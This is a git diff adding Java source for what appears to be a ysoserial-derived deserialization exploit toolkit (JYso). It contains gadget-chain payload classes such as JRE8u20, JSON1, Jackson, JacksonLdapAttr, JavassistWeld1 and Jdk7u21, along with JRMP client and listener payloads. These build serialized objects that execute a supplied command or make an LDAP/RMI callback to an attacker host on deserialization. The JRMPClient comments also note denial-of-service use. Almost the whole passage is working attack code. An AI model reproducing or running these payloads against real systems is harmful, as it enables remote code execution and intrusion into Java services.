Reflections.setFieldValue(regctx, "registry", regi); + return regctx; + } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception { + HashMap s = new HashMap<>(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } + + + @SuppressWarnings ( { + "rawtypes", "unchecked" + } ) + public static Queue makePriorityQueue ( Object tgt, Comparator comparator ) throws Exception { + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue<>(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[ 0 ] = tgt; + queueArray[ 1 ] = tgt; + + return queue; + } + + + @SuppressWarnings ( { + "rawtypes", "unchecked" + } ) + public static TreeMap makeTreeMap ( Object tgt, Comparator comparator ) throws Exception { + TreeMap tm = new TreeMap<>(comparator); + + Class entryCl = Class.forName("java.util.TreeMap$Entry"); + Constructor entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl); + entryCons.setAccessible(true); + Field leftF = Reflections.getField(entryCl, "left"); + + Field rootF = Reflections.getField(TreeMap.class, "root"); + Object root = entryCons.newInstance(tgt, tgt, null); + leftF.set(root, entryCons.newInstance(tgt, tgt, root)); + rootF.set(tm, root); + Reflections.setFieldValue(tm, "size", 2); + return tm; + } + + + public static T createProxy (final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap<>(); + map.put(key, val); + return map; + } + + + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java new file mode 100644 index 0000000..f97e37e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20.java @@ -0,0 +1,107 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.jre.*; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextChild; +import java.beans.beancontext.BeanContextSupport; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.Starter.JYsoMode; + + +@SuppressWarnings({"unused"}) +@Dependencies +@Authors({"frohoff"}) +public class JRE8u20 implements ObjectPayload { + + public static Object makeTemplates(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + Reflections.setFieldValue(templates, "_auxClasses", null); + return templates; + } + + public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception { + TCObject handler = new TCObject(ser) { + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + super.doWrite(new DataOutputStream(byteout), handles); + byte[] bytes = byteout.toByteArray(); + out.write(bytes, 0, bytes.length - 1); + } + }; + TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3); + desc.addField(new TCClassDesc.Field("memberValues", Map.class)); + desc.addField(new TCClassDesc.Field("type", Class.class)); + TCObject.ObjectData data = new TCObject.ObjectData(); + data.addData(map); + data.addData(Templates.class); + handler.addClassDescData(desc, data); + return handler; + } + + public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { + TCObject obj = new TCObject(ser); + TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); + TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); + beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); + TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); + beanContextSupportData.addData(Integer.valueOf(1)); + beanContextSupportData.addData(handler); + beanContextSupportData.addData(Integer.valueOf(0), true); + beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class)); + TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData(); + beanContextChildSupportData.addData(obj); + obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true); + obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData); + return obj; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20))); + } + + public Object getObject(String command) throws Exception { + Serialization ser = new Serialization(); + Object templates = makeTemplates(command); + HashMap map = new HashMap(); + map.put("f5a5a608", templates); + TCObject handler = makeHandler(map, ser); + TCObject linkedHashset = new TCObject(ser); + TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); + TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); + TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); + hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); + TCObject.ObjectData hashsetData = new TCObject.ObjectData(); + hashsetData.addData(makeBeanContextSupport(handler, ser)); + hashsetData.addData(Integer.valueOf(10), true); + hashsetData.addData(Float.valueOf(1.0F), true); + hashsetData.addData(Integer.valueOf(2), true); + hashsetData.addData(templates); + TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser); + hashsetData.addData(proxy); + linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData); + linkedHashset.addClassDescData(hashsetDesc, hashsetData, true); + ser.addObject(linkedHashset); + + if (JYsoMode) { + ser.write(System.out); + System.exit(0); + } + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ser.write(out); + byte[] bytes = out.toByteArray(); + return bytes; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java new file mode 100644 index 0000000..4244b39 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JRE8u20_2.java @@ -0,0 +1,72 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.ByteUtil; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.Serializer; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.xml.transform.Templates; +import java.beans.beancontext.BeanContextSupport; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.LinkedHashSet; +import java.util.Map; + + +public class JRE8u20_2 implements ObjectPayload { + public static Class newInvocationHandlerClass() throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); + CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + + " os.defaultWriteObject();\n" + + " }", clazz); + clazz.addMethod(writeObject); + Class c = clazz.toClass(); + return c; + } + + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + Class ihClass = newInvocationHandlerClass(); + Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); + constructor.setAccessible(true); + InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); + + Reflections.setFieldValue(ih, "type", Templates.class); + Templates proxy = Gadgets.createProxy(ih, Templates.class); + + BeanContextSupport b = new BeanContextSupport(); + Reflections.setFieldValue(b, "serializable", 1); + HashMap tmpMap = new HashMap<>(); + tmpMap.put(ih, null); + Reflections.setFieldValue(b, "children", tmpMap); + + + LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy + set.add(b); + set.add(templates); + set.add(proxy); + + HashMap hm = new HashMap(); + hm.put("f5a5a608", templates); + Reflections.setFieldValue(ih, "memberValues", hm); + + byte[] ser = Serializer.serialize(set); + + byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71}; + + int i = ByteUtil.getSubarrayIndex(ser, shoudReplace); + ser = ByteUtil.deleteAt(ser, i); // delete 0x78 + ser = ByteUtil.deleteAt(ser, i); // delete 0x70 + + return ser; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java new file mode 100644 index 0000000..1044cdb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient.java @@ -0,0 +1,69 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +/** + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + *

+ * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +@Authors({Authors.MBECHLER}) +public class JRMPClient implements ObjectPayload { + + public Object getObject(String command) throws Exception { + String host; + int port; + int sep = command.indexOf(':'); + if (sep < 0) { + port = new Random().nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ + Registry.class + }, obj); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java new file mode 100644 index 0000000..1d3e4ed --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Activator.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.lang.reflect.Proxy; +import java.rmi.activation.Activator; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +@Authors({"mbechler"}) +public class JRMPClient_Activator implements ObjectPayload { + @Override + public Activator getObject(String command) throws Exception { + String host; + int port, sep = command.indexOf(':'); + if (sep < 0) { + port = (new Random()).nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)).intValue(); + } + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java new file mode 100644 index 0000000..93321b2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPClient_Obj.java @@ -0,0 +1,31 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +@Authors({"mbechler"}) +public class JRMPClient_Obj implements ObjectPayload { + @Override + public RemoteObjectInvocationHandler getObject(String command) throws Exception { + String host; + int port, sep = command.indexOf(':'); + if (sep < 0) { + port = (new Random()).nextInt(65535); + host = command; + } else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)).intValue(); + } + ObjID id = new ObjID((new Random()).nextInt()); + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + return obj; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JRMPListener.java b/src/main/java/com/qi4l/JYso/gadgets/JRMPListener.java new file mode 100644 index 0000000..f2a01d1 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JRMPListener.java @@ -0,0 +1,47 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.Reflections; +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + *

+ * Requires: + * - JavaSE + *

+ * Argument: + * - Port number to open listener to + */ +@SuppressWarnings({ + "restriction" +}) +@Authors({Authors.MBECHLER}) +public class JRMPListener implements ObjectPayload { + @Override + public UnicastRemoteObject getObject(String command) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{ + RemoteRef.class + }, new Object[]{ + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JSON1.java b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java new file mode 100644 index 0000000..66021f8 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JSON1.java @@ -0,0 +1,90 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import net.sf.json.JSONObject; +import org.springframework.aop.framework.AdvisedSupport; + +import javax.management.openmbean.*; +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + + +/** + * A bit more convoluted example + *

+ * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes", "unchecked", "restriction" +}) +@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", + "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", + "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"}) +@Authors({Authors.MBECHLER}) +public class JSON1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object tql; + tql = Gadgets.createTemplatesImpl(command); + Class ifaces = Templates.class; + CompositeType rt = new CompositeType("a", "b", + new String[]{"a"}, + new String[]{"a"}, + new OpenType[]{javax.management.openmbean.SimpleType.INTEGER} + ); + TabularType tt = new TabularType("a", "b", rt, new String[]{"a"}); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(tql); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl"); + ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler); + Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson.java new file mode 100644 index 0000000..e5b4cab --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson.java @@ -0,0 +1,44 @@ +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; + + +public class Jackson implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + ClassPool pool = ClassPool.getDefault(); + //pool.insertClassPath(new ClassClassPath(Class.forName("com.fasterxml.jackson.databind.node.BaseJsonNode"))); + try { + CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + // 将修改后的CtClass加载至当前线程的上下文类加载器中 + ctClass.toClass(); + } catch (Exception EE) { + + } + + + POJONode node = new POJONode(template); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Reflections.setFieldValue(badAttributeValueExpException, "val", node); + + HashMap hashMap = new HashMap(); + hashMap.put(template, badAttributeValueExpException); + + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java new file mode 100644 index 0000000..8bd9965 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java @@ -0,0 +1,57 @@ +package com.qi4l.JYso.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import javax.naming.CompositeName; +import javax.naming.directory.BasicAttribute; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class JacksonLdapAttr implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + + + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + + try { + Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); + clazz_cons.setAccessible(true); + BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"}); + Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); + bcu_fi.setAccessible(true); + bcu_fi.set(la, command); + CompositeName cn = new CompositeName(); + cn.add("a"); + cn.add("b"); + Field rdn_fi = clazz.getDeclaredField("rdn"); + rdn_fi.setAccessible(true); + rdn_fi.set(la, cn); + POJONode node = new POJONode(la); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, node); + return val; + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java new file mode 100644 index 0000000..630780c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JavassistWeld1.java @@ -0,0 +1,79 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; + +import java.lang.reflect.Constructor; +import java.util.*; + + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + Reflections.setAccessible(defaultMethodMetadataConstructor); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return tpl; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java new file mode 100644 index 0000000..6eba35c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java @@ -0,0 +1,10 @@ +package com.qi4l.JYso.gadgets; + +public class JdbcRowSet implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + return JDKUtil.makeJNDIRowSet(command); + } + + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java new file mode 100644 index 0000000..428f857 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21.java @@ -0,0 +1,101 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.LinkedHashSet; + + +/** + * Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has + * the same JRE version requirements. + *

+ * See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + *

+ * Call tree: + *

